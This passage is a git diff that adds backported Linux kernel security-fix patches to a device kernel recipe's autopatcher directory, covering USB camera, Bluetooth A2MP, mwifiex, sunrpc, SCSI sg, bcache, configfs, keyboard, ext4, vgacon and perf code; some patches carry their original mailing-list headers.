a/recipes-kernel/linux/linux-sawfish/autopatcher/0661.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0661.diff new file mode 100644 index 0000000..394e1e7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0661.diff @@ -0,0 +1,51 @@ +diff --git a/drivers/media/usb/gspca/xirlink_cit.c b/drivers/media/usb/gspca/xirlink_cit.c +index a41aa78..b05c27e 100644 +--- a/drivers/media/usb/gspca/xirlink_cit.c ++++ b/drivers/media/usb/gspca/xirlink_cit.c +@@ -1455,6 +1455,9 @@ + return -EIO; + } + ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + return le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + } + +@@ -2632,6 +2635,7 @@ + + static int sd_isoc_init(struct gspca_dev *gspca_dev) + { ++ struct usb_interface_cache *intfc; + struct usb_host_interface *alt; + int max_packet_size; + +@@ -2647,8 +2651,17 @@ + break; + } + ++ intfc = gspca_dev->dev->actconfig->intf_cache[0]; ++ ++ if (intfc->num_altsetting < 2) ++ return -ENODEV; ++ ++ alt = &intfc->altsetting[1]; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + /* Start isoc bandwidth "negotiation" at max isoc bandwidth */ +- alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + alt->endpoint[0].desc.wMaxPacketSize = cpu_to_le16(max_packet_size); + + return 0; +@@ -2671,6 +2684,9 @@ + break; + } + ++ /* ++ * Existence of altsetting and endpoint was verified in sd_isoc_init() ++ */ + alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + if (packet_size <= min_packet_size) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0662.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0662.patch new file mode 100644 index 0000000..d24ad32 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0662.patch @@ -0,0 +1,196 @@ +From mboxrd@z Thu Jan 1 00:00:00 1970 +Return-Path: +X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on + aws-us-west-2-korg-lkml-1.web.codeaurora.org +X-Spam-Level: +X-Spam-Status: No, score=-13.1 required=3.0 tests=BAYES_00,DKIM_SIGNED, + DKIM_VALID,DKIM_VALID_AU,FREEMAIL_FORGED_FROMDOMAIN,FREEMAIL_FROM, + HEADER_FROM_DIFFERENT_DOMAINS,INCLUDES_PATCH,MAILING_LIST_MULTI,SIGNED_OFF_BY, + SPF_HELO_NONE,SPF_PASS,URIBL_BLOCKED,USER_AGENT_GIT autolearn=ham + autolearn_force=no version=3.4.0 +Received: from mail.kernel.org (mail.kernel.org [198.145.29.99]) + by smtp.lore.kernel.org (Postfix) with ESMTP id C54B6C433DF + for ; Thu, 6 Aug 2020 18:36:48 +0000 (UTC) +Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) + by mail.kernel.org (Postfix) with ESMTP id 1F710206B5 + for ; Thu, 6 Aug 2020 18:36:49 +0000 (UTC) +Authentication-Results: mail.kernel.org; + dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="qrj/DQ6R" +Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand + id S1729322AbgHFSgM (ORCPT + ); + Thu, 6 Aug 2020 14:36:12 -0400 +Received: from lindbergh.monkeyblade.net ([23.128.96.19]:59520 "EHLO + lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org + with ESMTP id S1728445AbgHFSfd (ORCPT + ); + Thu, 6 Aug 2020 14:35:33 -0400 +Received: from mail-pf1-x444.google.com (mail-pf1-x444.google.com [IPv6:2607:f8b0:4864:20::444]) + by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 19EC5C06179E + for ; Thu, 6 Aug 2020 11:17:16 -0700 (PDT) +Received: by mail-pf1-x444.google.com with SMTP id 17so5192132pfw.9 + for ; Thu, 06 Aug 2020 11:17:15 -0700 (PDT) +DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; + d=gmail.com; s=20161025; + h=from:to:subject:date:message-id:mime-version + :content-transfer-encoding; + bh=pFzx4UzRGdTUTCbe4nHo78+TYdF+MApzZHrO9nCgmQs=; + b=qrj/DQ6Rh4AxUN5uxlW5tuZM0KijDFBeZ1Q8MfcQlJdCa8Xw54PWHXRZ3DX/c6tvDR + cKcmsW5d5NR9ksF2RCsYn6CbTB1m3mxbNX5Pxqil4SkH0d6xACLetc8AwxVx+fhVib7I + PE/Pf068KIim6hidydigZ8NApkcV6PoXTWn/0FbFn2YToxU8Ro1sHnw4EpzhwPU2YjYo + v4xWOs7o28IxuF6buCTTuI0ujUWE3Bn+y9QrzO+znZPK5u0MJdvghaYHub94VS/opBPW + J1SR6JeIBiToIEgi71i1D6CDUe2P/MkWGj7SfigQlRYZK97xVHm/s+ICWynns4LMPCdm + XjpQ== +X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; + d=1e100.net; s=20161025; + h=x-gm-message-state:from:to:subject:date:message-id:mime-version + :content-transfer-encoding; + bh=pFzx4UzRGdTUTCbe4nHo78+TYdF+MApzZHrO9nCgmQs=; + b=cIDZve8eicHIeSmeVZtjKytxuHzc2+jhm2Zxo3D3Lsg8navlIPi5JEHus+1qzuUSAA + BZPCrm6fxyw+RtQ6vq3I9gLVu2gkm/NPVQaNNF6plnRodcpDaavErdI28LM4n4f0O1yF + Zy8Yg10tl898SN0OLFD5GRmvflWOkYOiZH2ilv4gCytQjpdsc9ztTjmYMcVuqNEO+bx2 + uJn71EDTVYXC/U8A38UyZ6OAX1y7YUojo9OGMEVJaunX0d5RT7uRAlp+P8OUTYbi65nh + q1r1VZJHjlZDR9KrjsKaxQ3bBY2BOJLCf59pAYtGZ51irBlKFFzDb49mfcbM8S0Xtui7 + MqrA== +X-Gm-Message-State: AOAM532dRguQAzKJd5SEP2YeZhqEqo+3npJWFKbDA21jfBBXPa/b3U+R + gMtbwZixAj6ZxEH7uLtSfw2gVwWc +X-Google-Smtp-Source: ABdhPJyaAgbLBEwLqkIwOy0PdsDJpXU79KMZU4vP+LaobVuRyYv7og6oM7Mnfiq5QlQP6b0Wq7yFoQ== +X-Received: by 2002:a62:17c1:: with SMTP id 184mr9430654pfx.136.1596737834525; + Thu, 06 Aug 2020 11:17:14 -0700 (PDT) +Received: from localhost.localdomain (c-71-56-157-77.hsd1.or.comcast.net. [71.56.157.77]) + by smtp.gmail.com with ESMTPSA id o16sm10341078pfu.188.2020.08.06.11.17.13 + for + (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); + Thu, 06 Aug 2020 11:17:14 -0700 (PDT) +From: Luiz Augusto von Dentz +To: linux-bluetooth@vger.kernel.org +Subject: [PATCH 1/4] Bluetooth: A2MP: Fix not initializing all members +Date: Thu, 6 Aug 2020 11:17:11 -0700 +Message-Id: <20200806181714.3216076-1-luiz.dentz@gmail.com> +X-Mailer: git-send-email 2.26.2 +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Sender: linux-bluetooth-owner@vger.kernel.org +Precedence: bulk +List-ID: +X-Mailing-List: linux-bluetooth@vger.kernel.org +Archived-At: +List-Archive: +List-Post: + +From: Luiz Augusto von Dentz + +This fixes various places where a stack variable is used uninitialized. + +Signed-off-by: Luiz Augusto von Dentz +--- + net/bluetooth/a2mp.c | 22 +++++++++++++++++++++- + 1 file changed, 21 insertions(+), 1 deletion(-) + +diff --git a/net/bluetooth/a2mp.c b/net/bluetooth/a2mp.c +index 26526be579c7..da7fd7c8c2dc 100644 +--- a/net/bluetooth/a2mp.c ++++ b/net/bluetooth/a2mp.c +@@ -226,6 +226,9 @@ static int a2mp_discover_rsp(struct amp_mgr *mgr, struct sk_buff *skb, + struct a2mp_info_req req; + + found = true; ++ ++ memset(&req, 0, sizeof(req)); ++ + req.id = cl->id; + a2mp_send(mgr, A2MP_GETINFO_REQ, __next_ident(mgr), + sizeof(req), &req); +@@ -305,6 +308,8 @@ static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb, + if (!hdev || hdev->dev_type != HCI_AMP) { + struct a2mp_info_rsp rsp; + ++ memset(&rsp, 0, sizeof(rsp)); ++ + rsp.id = req->id; + rsp.status = A2MP_STATUS_INVALID_CTRL_ID; + +@@ -348,6 +353,8 @@ static int a2mp_getinfo_rsp(struct amp_mgr *mgr, struct sk_buff *skb, + if (!ctrl) + return -ENOMEM; + ++ memset(&req, 0, sizeof(req)); ++ + req.id = rsp->id; + a2mp_send(mgr, A2MP_GETAMPASSOC_REQ, __next_ident(mgr), sizeof(req), + &req); +@@ -376,6 +383,8 @@ static int a2mp_getampassoc_req(struct amp_mgr *mgr, struct sk_buff *skb, + struct a2mp_amp_assoc_rsp rsp; + rsp.id = req->id; + ++ memset(&rsp, 0, sizeof(rsp)); ++ + if (tmp) { + rsp.status = A2MP_STATUS_COLLISION_OCCURED; + amp_mgr_put(tmp); +@@ -464,7 +473,6 @@ static int a2mp_createphyslink_req(struct amp_mgr *mgr, struct sk_buff *skb, + struct a2mp_cmd *hdr) + { + struct a2mp_physlink_req *req = (void *) skb->data; +- + struct a2mp_physlink_rsp rsp; + struct hci_dev *hdev; + struct hci_conn *hcon; +@@ -475,6 +483,8 @@ static int a2mp_createphyslink_req(struct amp_mgr *mgr, struct sk_buff *skb, + + BT_DBG("local_id %d, remote_id %d", req->local_id, req->remote_id); + ++ memset(&rsp, 0, sizeof(rsp)); ++ + rsp.local_id = req->remote_id; + rsp.remote_id = req->local_id; + +@@ -553,6 +563,8 @@ static int a2mp_discphyslink_req(struct amp_mgr *mgr, struct sk_buff *skb, + + BT_DBG("local_id %d remote_id %d", req->local_id, req->remote_id); + ++ memset(&rsp, 0, sizeof(rsp)); ++ + rsp.local_id = req->remote_id; + rsp.remote_id = req->local_id; + rsp.status = A2MP_STATUS_SUCCESS; +@@ -675,6 +687,8 @@ static int a2mp_chan_recv_cb(struct l2cap_chan *chan, struct sk_buff *skb) + if (err) { + struct a2mp_cmd_rej rej; + ++ memset(&rej, 0, sizeof(rej)); ++ + rej.reason = cpu_to_le16(0); + hdr = (void *) skb->data; + +@@ -898,6 +912,8 @@ void a2mp_send_getinfo_rsp(struct hci_dev *hdev) + + BT_DBG("%s mgr %p", hdev->name, mgr); + ++ memset(&rsp, 0, sizeof(rsp)); ++ + rsp.id = hdev->id; + rsp.status = A2MP_STATUS_INVALID_CTRL_ID; + +@@ -995,6 +1011,8 @@ void a2mp_send_create_phy_link_rsp(struct hci_dev *hdev, u8 status) + if (!mgr) + return; + ++ memset(&rsp, 0, sizeof(rsp)); ++ + hs_hcon = hci_conn_hash_lookup_state(hdev, AMP_LINK, BT_CONNECT); + if (!hs_hcon) { + rsp.status = A2MP_STATUS_UNABLE_START_LINK_CREATION; +@@ -1027,6 +1045,8 @@ void a2mp_discover_amp(struct l2cap_chan *chan) + + mgr->bredr_chan = chan; + ++ memset(&req, 0, sizeof(req)); ++ + req.mtu = cpu_to_le16(L2CAP_A2MP_DEFAULT_MTU); + req.ext_feat = 0; + a2mp_send(mgr, A2MP_DISCOVER_REQ, 1, sizeof(req), &req); +-- +2.26.2 + + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0663.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0663.patch new file mode 100644 index 0000000..ca5dc99 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0663.patch @@ -0,0 +1,113 @@ +From mboxrd@z Thu Jan 1 00:00:00 1970 +Return-Path: +X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on + aws-us-west-2-korg-lkml-1.web.codeaurora.org +X-Spam-Level: +X-Spam-Status: No, score=-12.6 required=3.0 tests=BAYES_00,DKIM_SIGNED, + DKIM_VALID,DKIM_VALID_AU,FREEMAIL_FORGED_FROMDOMAIN,FREEMAIL_FROM, + HEADER_FROM_DIFFERENT_DOMAINS,INCLUDES_PATCH,MAILING_LIST_MULTI,SIGNED_OFF_BY, + SPF_HELO_NONE,SPF_PASS,URIBL_BLOCKED,USER_AGENT_GIT autolearn=ham + autolearn_force=no version=3.4.0 +Received: from mail.kernel.org (mail.kernel.org [198.145.29.99]) + by smtp.lore.kernel.org (Postfix) with ESMTP id 51932C433E7 + for ; Fri, 16 Oct 2020 18:10:04 +0000 (UTC) +Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) + by mail.kernel.org (Postfix) with ESMTP id E8E0421556 + for ; Fri, 16 Oct 2020 18:10:01 +0000 (UTC) +Authentication-Results: mail.kernel.org; + dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="ev2fOiAm" +Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand + id S2391267AbgJPSKB (ORCPT + ); + Fri, 16 Oct 2020 14:10:01 -0400 +Received: from lindbergh.monkeyblade.net ([23.128.96.19]:60348 "EHLO + lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org + with ESMTP id S2391261AbgJPSKB (ORCPT + ); + Fri, 16 Oct 2020 14:10:01 -0400 +Received: from mail-pg1-x544.google.com (mail-pg1-x544.google.com [IPv6:2607:f8b0:4864:20::544]) + by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 41D29C061755 + for ; Fri, 16 Oct 2020 11:10:01 -0700 (PDT) +Received: by mail-pg1-x544.google.com with SMTP id h6so1917111pgk.4 + for ; Fri, 16 Oct 2020 11:10:01 -0700 (PDT) +DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; + d=gmail.com; s=20161025; + h=from:to:subject:date:message-id:in-reply-to:references:mime-version + :content-transfer-encoding; + bh=rdSQv0WqI8XOqcIsRkumiryUop8LX5S6l8HxLs9v6HM=; + b=ev2fOiAmh9e1NZJYFiWPBTOi4biDzAA6H2pvnk3ppD8kZKseJpOYA+2e5j6xlojEtx + xXHHbbpELTj/6U9+9fYRvssFOtmZKfAS3y9mNX+vLwY9LNh8WnUG+Nw8IhvlMzAUtgi5 + NVHV2+ivK1U/sD48tODaUFInIVHTKF0iUdNjTbPsN35x2oqSJ6VRuer10/R1wlQbScHY + CFmWdcH3hepI0l1h69PO3BxIc7z8en9yQUBLFqxZJRKieBWTsytlQ58BKCi2qfc1uKsd + S57eX/9oVJKjxJ96JBHf+Io+0RauX+ZkReGhBLPC7tMss6klO/OGelX2uwIitQ1ur7Z3 + mTgg== +X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; + d=1e100.net; s=20161025; + h=x-gm-message-state:from:to:subject:date:message-id:in-reply-to + :references:mime-version:content-transfer-encoding; + bh=rdSQv0WqI8XOqcIsRkumiryUop8LX5S6l8HxLs9v6HM=; + b=sFtWyR8niQ+AqZVF7jfOCwJAEpdFyDgr1KLnxzehKprwhSYWxgGSiwu2ex/ZH2k0+u + YIoSBUqdWj6/CX4au95LYgo3OuidPhPBjZMil4JgyIfYW92BgKBVnI/4o9AHfdqf3jh2 + 0eCWesU8nuBnXyaZn+PTZdqLhRUhlNV4BGVA9MPSVPlMih2I/n/ciGe5o0C5Ut7GZC/x + 199xdKSXvXLZnqbcW5I/NWbJNwANOJlWgHoryUFLC8bpJvqGEMl648hb4gho+mvLyYXo + Zk2hjZiWHWUhutibU58lj0zMppwDNsiP5xGQLC7sEsW1sqivVQDmsde4WXu/49ylOMWX + zlYA== +X-Gm-Message-State: AOAM531gPKfpvcJl5w3wn/Oj3UUcd2w8jgt4GXUIlrB21MHiDwP1iG7A + jLmSAJ87VwygAcQ89gECaqLNPKnNpen6PA== +X-Google-Smtp-Source: ABdhPJx12W7eywYlykXYDbQu0b6g4VSaRTp5vDCsgxPrR9gHb7GAAKbXh65jaSneYnP+3hFbIDIQLg== +X-Received: by 2002:a62:ddd4:0:b029:155:af54:3000 with SMTP id w203-20020a62ddd40000b0290155af543000mr4920164pff.64.1602871800566; + Fri, 16 Oct 2020 11:10:00 -0700 (PDT) +Received: from localhost.localdomain (c-71-56-157-77.hsd1.or.comcast.net. [71.56.157.77]) + by smtp.gmail.com with ESMTPSA id y14sm3538573pfe.107.2020.10.16.11.09.59 + for + (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); + Fri, 16 Oct 2020 11:09:59 -0700 (PDT) +From: Luiz Augusto von Dentz +To: linux-bluetooth@vger.kernel.org +Subject: [PATCH 2/2] Bluetooth: A2MP: Fix not setting request ID +Date: Fri, 16 Oct 2020 11:09:56 -0700 +Message-Id: <20201016180956.707681-2-luiz.dentz@gmail.com> +X-Mailer: git-send-email 2.26.2 +In-Reply-To: <20201016180956.707681-1-luiz.dentz@gmail.com> +References: <20201016180956.707681-1-luiz.dentz@gmail.com> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Precedence: bulk +List-ID: +X-Mailing-List: linux-bluetooth@vger.kernel.org +Archived-At: +List-Archive: +List-Post: + +From: Luiz Augusto von Dentz + +This fixes not resetting of the request ID when sending +A2MP_GETAMPASSOC_RSP. + +Fixes: Bluetooth: A2MP: Fix not initializing all members +Signed-off-by: Luiz Augusto von Dentz +--- + net/bluetooth/a2mp.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/bluetooth/a2mp.c b/net/bluetooth/a2mp.c +index da7fd7c8c2dc..7a1e0b785f45 100644 +--- a/net/bluetooth/a2mp.c ++++ b/net/bluetooth/a2mp.c +@@ -381,10 +381,11 @@ static int a2mp_getampassoc_req(struct amp_mgr *mgr, struct sk_buff *skb, + hdev = hci_dev_get(req->id); + if (!hdev || hdev->amp_type == AMP_TYPE_BREDR || tmp) { + struct a2mp_amp_assoc_rsp rsp; +- rsp.id = req->id; + + memset(&rsp, 0, sizeof(rsp)); + ++ rsp.id = req->id; ++ + if (tmp) { + rsp.status = A2MP_STATUS_COLLISION_OCCURED; + amp_mgr_put(tmp); +-- +2.26.2 + + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0664.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0664.diff new file mode 100644 index 0000000..893e194 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0664.diff @@ -0,0 +1,15 @@ +diff --git a/drivers/net/wireless/mwifiex/wmm.c b/drivers/net/wireless/mwifiex/wmm.c +index e43f236..fbe288b 100644 +--- a/drivers/net/wireless/mwifiex/wmm.c ++++ b/drivers/net/wireless/mwifiex/wmm.c +@@ -791,6 +791,10 @@ + wmm_param_ie->qos_info_bitmap & + IEEE80211_WMM_IE_AP_QOSINFO_PARAM_SET_CNT_MASK); + ++ if (wmm_param_ie->vend_hdr.len + 2 > ++ sizeof(struct ieee_types_wmm_parameter)) ++ break; ++ + memcpy((u8 *) &priv->curr_bss_params.bss_descriptor. + wmm_ie, wmm_param_ie, + wmm_param_ie->vend_hdr.len + 2); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0665-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0665-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch new file mode 100644 index 0000000..121d90a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0665-d47a5dc2888f-sunrpc svcauthgssregisterpseudoflavor must reject duplicate.patch @@ -0,0 +1,46 @@ +From d47a5dc2888fd1b94adf1553068b8dad76cec96c Mon Sep 17 00:00:00 2001 +From: NeilBrown +Date: Fri, 22 May 2020 12:01:33 +1000 +Subject: sunrpc: svcauth_gss_register_pseudoflavor must reject duplicate + registrations. + +There is no valid case for supporting duplicate pseudoflavor +registrations. +Currently the silent acceptance of such registrations is hiding a bug. +The rpcsec_gss_krb5 module registers 2 flavours but does not unregister +them, so if you load, unload, reload the module, it will happily +continue to use the old registration which now has pointers to the +memory were the module was originally loaded. This could lead to +unexpected results. + +So disallow duplicate registrations. + +Link: https://bugzilla.kernel.org/show_bug.cgi?id=206651 +Cc: stable@vger.kernel.org (v2.6.12+) +Signed-off-by: NeilBrown +Signed-off-by: J. Bruce Fields +--- + net/sunrpc/auth_gss/svcauth_gss.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/net/sunrpc/auth_gss/svcauth_gss.c b/net/sunrpc/auth_gss/svcauth_gss.c +index 50d93c49ef1a..49bb346a6215 100644 +--- a/net/sunrpc/auth_gss/svcauth_gss.c ++++ b/net/sunrpc/auth_gss/svcauth_gss.c +@@ -826,9 +826,11 @@ svcauth_gss_register_pseudoflavor(u32 pseudoflavor, char * name) + new->h.flavour = &svcauthops_gss; + new->pseudoflavor = pseudoflavor; + +- stat = 0; + test = auth_domain_lookup(name, &new->h); +- if (test != &new->h) { /* Duplicate registration */ ++ if (test != &new->h) { ++ pr_warn("svc: duplicate registration of gss pseudo flavour %s.\n", ++ name); ++ stat = -EADDRINUSE; + auth_domain_put(test); + kfree(new->h.name); + goto out_free_dom; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0666.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0666.diff new file mode 100644 index 0000000..e78783d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0666.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index f2f10d2..4d17435 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -707,8 +707,10 @@ + hp->flags = input_size; /* structure abuse ... */ + hp->pack_id = old_hdr.pack_id; + hp->usr_ptr = NULL; +- if (__copy_from_user(cmnd, buf, cmd_size)) ++ if (__copy_from_user(cmnd, buf, cmd_size)) { ++ sg_remove_request(sfp, srp); + return -EFAULT; ++ } + /* + * SG_DXFER_TO_FROM_DEV is functionally equivalent to SG_DXFER_FROM_DEV, + * but is is possible that the app intended SG_DXFER_TO_DEV, because there diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0667.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0667.diff new file mode 100644 index 0000000..d97e131 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0667.diff @@ -0,0 +1,33 @@ +diff --git a/drivers/md/bcache/btree.c b/drivers/md/bcache/btree.c +index 04ea5dc..0f7b7b5 100644 +--- a/drivers/md/bcache/btree.c ++++ b/drivers/md/bcache/btree.c +@@ -1375,7 +1375,7 @@ + if (__set_blocks(n1, n1->keys + n2->keys, + block_bytes(b->c)) > + btree_blocks(new_nodes[i])) +- goto out_nocoalesce; ++ goto out_unlock_nocoalesce; + + keys = n2->keys; + /* Take the key of the node we're getting rid of */ +@@ -1404,7 +1404,7 @@ + + if (__bch_keylist_realloc(&keylist, + bkey_u64s(&new_nodes[i]->key))) +- goto out_nocoalesce; ++ goto out_unlock_nocoalesce; + + bch_btree_node_write(new_nodes[i], &cl); + bch_keylist_add(&keylist, &new_nodes[i]->key); +@@ -1450,6 +1450,10 @@ + /* Invalidated our iterator */ + return -EINTR; + ++out_unlock_nocoalesce: ++ for (i = 0; i < nodes; i++) ++ mutex_unlock(&new_nodes[i]->write_lock); ++ + out_nocoalesce: + closure_sync(&cl); + bch_keylist_free(&keylist); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0668.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0668.diff new file mode 100644 index 0000000..9e60d12 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0668.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/usb/gadget/configfs.c b/drivers/usb/gadget/configfs.c +index 694121d..9f300c9 100644 +--- a/drivers/usb/gadget/configfs.c ++++ b/drivers/usb/gadget/configfs.c +@@ -287,6 +287,9 @@ + char *name; + int ret; + ++ if (strlen(page) < len) ++ return -EOVERFLOW; ++ + name = kstrdup(page, GFP_KERNEL); + if (!name) + return -ENOMEM; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0669.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0669.diff new file mode 100644 index 0000000..ca819a4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0669.diff @@ -0,0 +1,60 @@ +diff --git a/drivers/tty/vt/keyboard.c b/drivers/tty/vt/keyboard.c +index 95fa655..382de50 100644 +--- a/drivers/tty/vt/keyboard.c ++++ b/drivers/tty/vt/keyboard.c +@@ -124,7 +124,11 @@ + static unsigned long key_down[BITS_TO_LONGS(KEY_CNT)]; /* keyboard key bitmap */ + static unsigned char shift_down[NR_SHIFT]; /* shift state counters.. */ + static bool dead_key_next; +-static int npadch = -1; /* -1 or number assembled on pad */ ++ ++/* Handles a number being assembled on the number pad */ ++static bool npadch_active; ++static unsigned int npadch_value; ++ + static unsigned int diacr; + static char rep; /* flag telling character repeat */ + +@@ -814,12 +818,12 @@ + shift_state &= ~(1 << value); + + /* kludge */ +- if (up_flag && shift_state != old_state && npadch != -1) { ++ if (up_flag && shift_state != old_state && npadch_active) { + if (kbd->kbdmode == VC_UNICODE) +- to_utf8(vc, npadch); ++ to_utf8(vc, npadch_value); + else +- put_queue(vc, npadch & 0xff); +- npadch = -1; ++ put_queue(vc, npadch_value & 0xff); ++ npadch_active = false; + } + } + +@@ -837,7 +841,7 @@ + + static void k_ascii(struct vc_data *vc, unsigned char value, char up_flag) + { +- int base; ++ unsigned int base; + + if (up_flag) + return; +@@ -851,10 +855,12 @@ + base = 16; + } + +- if (npadch == -1) +- npadch = value; +- else +- npadch = npadch * base + value; ++ if (!npadch_active) { ++ npadch_value = 0; ++ npadch_active = true; ++ } ++ ++ npadch_value = npadch_value * base + value; + } + + static void k_lock(struct vc_data *vc, unsigned char value, char up_flag) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0670.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0670.diff new file mode 100644 index 0000000..1140a4e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0670.diff @@ -0,0 +1,34 @@ +diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c +index 8389aeb..f1c9a8a 100644 +--- a/fs/ext4/namei.c ++++ b/fs/ext4/namei.c +@@ -1719,7 +1719,7 @@ + blocksize, hinfo, map); + map -= count; + dx_sort_map(map, count); +- /* Split the existing block in the middle, size-wise */ ++ /* Ensure that neither split block is over half full */ + size = 0; + move = 0; + for (i = count-1; i >= 0; i--) { +@@ -1729,8 +1729,18 @@ + size += map[i].size; + move++; + } +- /* map index at which we will split */ +- split = count - move; ++ /* ++ * map index at which we will split ++ * ++ * If the sum of active entries didn't exceed half the block size, just ++ * split it in half by count; each resulting block will have at least ++ * half the space free. ++ */ ++ if (i > 0) ++ split = count - move; ++ else ++ split = count/2; ++ + hash2 = map[split].hash; + continued = hash2 == map[split - 1].hash; + dxtrace(printk(KERN_INFO "Split block %lu at %x, %i/%i\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0671.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0671.diff new file mode 100644 index 0000000..5416cae --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0671.diff @@ -0,0 +1,15 @@ +diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c +index e5231dd..edf0af8 100644 +--- a/drivers/video/console/vgacon.c ++++ b/drivers/video/console/vgacon.c +@@ -220,6 +220,10 @@ + p = (void *) (c->vc_origin + t * c->vc_size_row); + + while (count--) { ++ if ((vgacon_scrollback_tail + c->vc_size_row) > ++ vgacon_scrollback_size) ++ vgacon_scrollback_tail = 0; ++ + scr_memcpyw(vgacon_scrollback + vgacon_scrollback_tail, + p, c->vc_size_row); + vgacon_scrollback_cnt++; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0672.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0672.diff new file mode 100644 index 0000000..00fcf5f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0672.diff @@ -0,0 +1,30 @@ +diff --git a/kernel/events/core.c b/kernel/events/core.c +index 863d9bc..9790827 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -4336,13 +4336,14 @@ + static void perf_mmap_close(struct vm_area_struct *vma) + { + struct perf_event *event = vma->vm_file->private_data; +- + struct ring_buffer *rb = ring_buffer_get(event); + struct user_struct *mmap_user = rb->mmap_user; + int mmap_locked = rb->mmap_locked; + unsigned long size = perf_data_size(rb); ++ bool detach_rest = false; + +- atomic_dec(&rb->mmap_count); ++ if (atomic_dec_and_test(&rb->mmap_count)) ++ detach_rest = true; + + if (!atomic_dec_and_mutex_lock(&event->mmap_count, &event->mmap_mutex)) + goto out_put; +@@ -4351,7 +4352,7 @@ + mutex_unlock(&event->mmap_mutex); + + /* If there's still other mmap()s of this buffer, we're done. */ +- if (atomic_read(&rb->mmap_count)) ++ if (!detach_rest) + goto out_put; + + /* diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0673.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0673.diff new file mode 100644 index 0000000..114f4cf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0673.diff @@ -0,0 +1,201 @@ +diff --git a/fs/inode.c b/fs/inode.c +index 8c04998..ea1fa53 100644 +--- a/fs/inode.c ++++ b/fs/inode.c +@@ -132,6 +132,7 @@ + inode->i_sb = sb; + inode->i_blkbits = sb->s_blocksize_bits; + inode->i_flags = 0; ++ atomic64_set(&inode->i_sequence, 0); + atomic_set(&inode->i_count, 1); + inode->i_op = &empty_iops; + inode->i_fop = &empty_fops; +diff --git 